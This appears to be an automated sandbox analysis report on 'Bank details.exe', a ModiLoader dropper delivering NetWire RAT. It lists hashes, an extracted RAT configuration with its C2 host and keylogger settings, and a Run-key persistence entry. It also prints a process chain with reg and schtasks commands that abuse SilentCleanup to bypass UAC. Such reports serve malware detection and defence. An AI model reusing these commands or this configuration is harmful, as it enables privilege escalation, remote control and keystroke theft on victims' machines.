Analysis
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max time kernel
88s -
max time network
151s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
20-07-2021 09:32
Static task
static1
Behavioral task
behavioral1
Sample
Bank details.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
Bank details.exe
Resource
win10v20210410
General
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Target
Bank details.exe
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Size
702KB
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MD5
4e0ee2b83297b3b44acdce3e9a3a4d24
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SHA1
616c863f53f9a9bc3507b14cb759c289fcf6eb5f
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SHA256
ef4fb21fec01aa193370b1ac7551aa759765b4e289f781b67d762e61335c7e41
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SHA512
d91bc09fa872fb6d6d337db39f980c6cee0d01186f73349c36f4bbee59c65bc1e919dfc3b505bc2458a0af84c068f488c93b74a209a593976f32fc92dabe1809
Malware Config
Extracted
netwire
warin.hopto.org:4320
-
activex_autorun
false
- activex_key
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copy_executable
false
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delete_original
false
-
host_id
HostId-%Rand%
- install_path
-
keylogger_dir
%AppData%\Logs\
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lock_executable
false
- mutex
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offline_keylogger
true
-
password
Password
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registry_autorun
false
- startup_name
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use_mutex
false
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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NetWire RAT payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3684-127-0x0000000000400000-0x0000000000433000-memory.dmp netwire -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
Bank details.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\Bfakyal = "C:\\Users\\Public\\Libraries\\laykafB.url" Bank details.exe -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1872 3156 WerFault.exe Bank details.exe -
Modifies registry key 1 TTPs 3 IoCs
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Suspicious behavior: EnumeratesProcesses 14 IoCs
Processes:
WerFault.exepid process 1872 WerFault.exe 1872 WerFault.exe 1872 WerFault.exe 1872 WerFault.exe 1872 WerFault.exe 1872 WerFault.exe 1872 WerFault.exe 1872 WerFault.exe 1872 WerFault.exe 1872 WerFault.exe 1872 WerFault.exe 1872 WerFault.exe 1872 WerFault.exe 1872 WerFault.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
WerFault.exedescription pid process Token: SeRestorePrivilege 1872 WerFault.exe Token: SeBackupPrivilege 1872 WerFault.exe Token: SeDebugPrivilege 1872 WerFault.exe -
Suspicious use of WriteProcessMemory 36 IoCs
Processes:
Bank details.execmd.execmd.execmd.exedescription pid process target process PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3684 3156 Bank details.exe ieinstal.exe PID 3156 wrote to memory of 3748 3156 Bank details.exe cmd.exe PID 3156 wrote to memory of 3748 3156 Bank details.exe cmd.exe PID 3156 wrote to memory of 3748 3156 Bank details.exe cmd.exe PID 3748 wrote to memory of 4020 3748 cmd.exe cmd.exe PID 3748 wrote to memory of 4020 3748 cmd.exe cmd.exe PID 3748 wrote to memory of 4020 3748 cmd.exe cmd.exe PID 4020 wrote to memory of 3148 4020 cmd.exe reg.exe PID 4020 wrote to memory of 3148 4020 cmd.exe reg.exe PID 4020 wrote to memory of 3148 4020 cmd.exe reg.exe PID 4020 wrote to memory of 1088 4020 cmd.exe reg.exe PID 4020 wrote to memory of 1088 4020 cmd.exe reg.exe PID 4020 wrote to memory of 1088 4020 cmd.exe reg.exe PID 4020 wrote to memory of 1504 4020 cmd.exe schtasks.exe PID 4020 wrote to memory of 1504 4020 cmd.exe schtasks.exe PID 4020 wrote to memory of 1504 4020 cmd.exe schtasks.exe PID 3156 wrote to memory of 1800 3156 Bank details.exe cmd.exe PID 3156 wrote to memory of 1800 3156 Bank details.exe cmd.exe PID 3156 wrote to memory of 1800 3156 Bank details.exe cmd.exe PID 1800 wrote to memory of 3032 1800 cmd.exe reg.exe PID 1800 wrote to memory of 3032 1800 cmd.exe reg.exe PID 1800 wrote to memory of 3032 1800 cmd.exe reg.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Bank details.exe"C:\Users\Admin\AppData\Local\Temp\Bank details.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 12682⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"2⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Trast.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
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C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
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C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\nest.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f3⤵
- Modifies registry key
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Public\Trast.batMD5
4068c9f69fcd8a171c67f81d4a952a54
SHA14d2536a8c28cdcc17465e20d6693fb9e8e713b36
SHA25624222300c78180b50ed1f8361ba63cb27316ec994c1c9079708a51b4a1a9d810
SHA512a64f9319acc51fffd0491c74dcd9c9084c2783b82f95727e4bfe387a8528c6dcf68f11418e88f1e133d115daf907549c86dd7ad866b2a7938add5225fbb2811d
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C:\Users\Public\UKO.batMD5
eaf8d967454c3bbddbf2e05a421411f8
SHA16170880409b24de75c2dc3d56a506fbff7f6622c
SHA256f35f2658455a2e40f151549a7d6465a836c33fa9109e67623916f889849eac56
SHA512fe5be5c673e99f70c93019d01abb0a29dd2ecf25b2d895190ff551f020c28e7d8f99f65007f440f0f76c5bcac343b2a179a94d190c938ea3b9e1197890a412e9
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C:\Users\Public\nest.batMD5
8ada51400b7915de2124baaf75e3414c
SHA11a7b9db12184ab7fd7fce1c383f9670a00adb081
SHA25645aa3957c29865260a78f03eef18ae9aebdbf7bea751ecc88be4a799f2bb46c7
SHA5129afc138157a4565294ca49942579cdb6f5d8084e56f9354738de62b585f4c0fa3e7f2cbc9541827f2084e3ff36c46eed29b46f5dd2444062ffcd05c599992e68
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memory/1088-121-0x0000000000000000-mapping.dmp
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memory/1504-122-0x0000000000000000-mapping.dmp
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memory/1800-128-0x0000000000000000-mapping.dmp
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memory/3032-130-0x0000000000000000-mapping.dmp
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memory/3148-120-0x0000000000000000-mapping.dmp
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memory/3156-114-0x0000000000640000-0x0000000000663000-memory.dmpFilesize
140KB
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memory/3684-125-0x0000000002A10000-0x0000000002A11000-memory.dmpFilesize
4KB
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memory/3684-123-0x0000000002AB0000-0x0000000002AB1000-memory.dmpFilesize
4KB
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memory/3684-126-0x0000000010550000-0x0000000010585000-memory.dmpFilesize
212KB
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memory/3684-124-0x00000000027F0000-0x00000000027F1000-memory.dmpFilesize
4KB
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memory/3684-127-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
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memory/3684-115-0x0000000000000000-mapping.dmp
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memory/3748-116-0x0000000000000000-mapping.dmp
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memory/4020-118-0x0000000000000000-mapping.dmp